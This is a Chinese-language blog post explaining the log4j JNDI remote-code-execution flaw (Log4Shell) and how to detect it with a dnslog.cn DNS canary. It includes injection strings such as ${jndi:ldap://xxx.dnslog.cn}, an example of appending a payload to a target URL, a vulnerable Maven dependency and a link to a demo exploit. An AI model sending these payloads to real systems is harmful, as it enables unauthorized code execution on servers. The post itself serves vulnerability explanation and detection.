log4j RCE漏洞原理分析及检测

实现原理

log4j支持使用表达式的形式打印日志,比如

sh 复制代码
logger.info("system propety: ${sys:user.dir}");

问题就在与表达式支持非常多样,其中有一个jndi就是今天的主题

sh 复制代码
logger.info("system propety: ${jndi:schema://url}");

jdk将从url指定的路径下载一段字节流,并将其反序列化为Java对象,作为jndi返回。反序列化过程中,即会执行字节流中包含的程序。

因此,如果攻击者能够控制日志打印的内容,就可以使目标服务器从攻击者指定的任意url地址下载代码字节流,攻击者在字节流中附带的代码就会在目标服务器上执行。

那么问题来了,攻击者如何控制服务器上记录的日志内容呢?

非常简单! 大部分web服务程序都会对用户输入进行日志记录。例如:用户访问了哪些url,有哪些关键的输入等,都会被作为参数送到log4j中,我们在这些地方写上 ${jndi:ldap://http://xxx.dnslog.cn} 就可以使web服务从http://xxx.dnslog.cn下载字节流了

12月9日晚,漏洞刚爆出时,在百度、google的搜索框内输入攻击字符串,就可以进行攻击。不提供输入框也好办,在url中随便附上一段也可能成功: www.target.com?${jndi:schema://url}

现在各大网站都已经完成了紧急修复工作,比如在taobao上尝试探测,会被ali的waf阻拦。

漏洞检测

漏洞检测可以使用 http://www.dnslog.cn/ 协助进行。 dnslog.cn 是安全检测常用工具之一,在其主页上点击 Get SubDomain 即可以自动生成一个 dnslog.cn 的子域名,这个子域名解析出来的ip是 127.0.0.1,也就是本机地址。

漏洞检测时,可以使用 ${jndi:ldap://http://xxx.dnslog.cn} ,如果攻击成功,目标服务器将会从 xxx.dnslog.cn 下载jndi字节流,下载之前首先得连接dnslog.cn进行xxx.dnslog.cn的域名解析,获得真实ip地址。dnslog.cn 会将所有dns解析记录显示在网站上,点击refresh即可看到。

攻击检测后,如果发现 dnslog.cn 中刷新到了dns解析记录,就表示探测成功。

java 复制代码
private static final Logger LOG = LogManager.getLogger(Application.class);
LOG.info("${jndi:ldap://i3sicw.dnslog.cn}");

如果使用的log4j版本小于2.15就会复现

xml 复制代码
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

一个检测demo

https://gitee.com/ziy001/log4j-attack

运行后会在本机弹出计算器,说明客户端通过这个漏洞让服务端执行了某些代码。

相关推荐
代码漫谈3 小时前
Spring Boot日志配置全攻略:打造高效、可靠的日志系统
java·spring boot·log4j·日志
ideal-cs4 小时前
总结:生产环境Logback日志配置模板与pattern格式案例
java·log4j·logback·pattern·后端日志
学习论之费曼学习法2 天前
Agent评估与测试:如何确保AI系统的可靠性
人工智能·log4j
北风toto2 天前
log4j中文日志乱码问号-Linux启动jar包,输出中文日志变成问号?
linux·log4j·jar
ppandss13 天前
JavaWeb从0到1-DAY5.1-Maven-JUnit
junit·log4j·maven
0和1的搬运工4 天前
基于Java+SpringBoot+Vue+HTML5高校教师电子名片系统(源码+LW+调试文档+讲解等)/高校教师/电子名片/系统/教育科技/教育信息化/名片管理/电子身份/教师信息管理/校园信息化
spring cloud·tomcat·log4j·maven·intellij-idea·dubbo·java-consul
铁皮哥4 天前
【后端开发】@Resource 和 @Autowired 到底有什么区别?为什么现在更推荐构造方法注入?
java·ide·spring boot·tomcat·log4j·idea·intellij idea
张小洛6 天前
Spring 常用类深度剖析(工具篇 05):Assert:用断言代替 if-throw,代码更清爽
spring·log4j·参数校验·validate·assert·spring 常用类·代码简化
薛定猫AI7 天前
【深度解析】DeepSeek V4 + Cloud Code:构建低成本、高吞吐的混合 AI 编码工作流
人工智能·log4j
卷卷说风控7 天前
【卷卷观察】Claude Code 换脑子:DeepSeek V4 Pro 让你的 AI 编程便宜17倍
log4j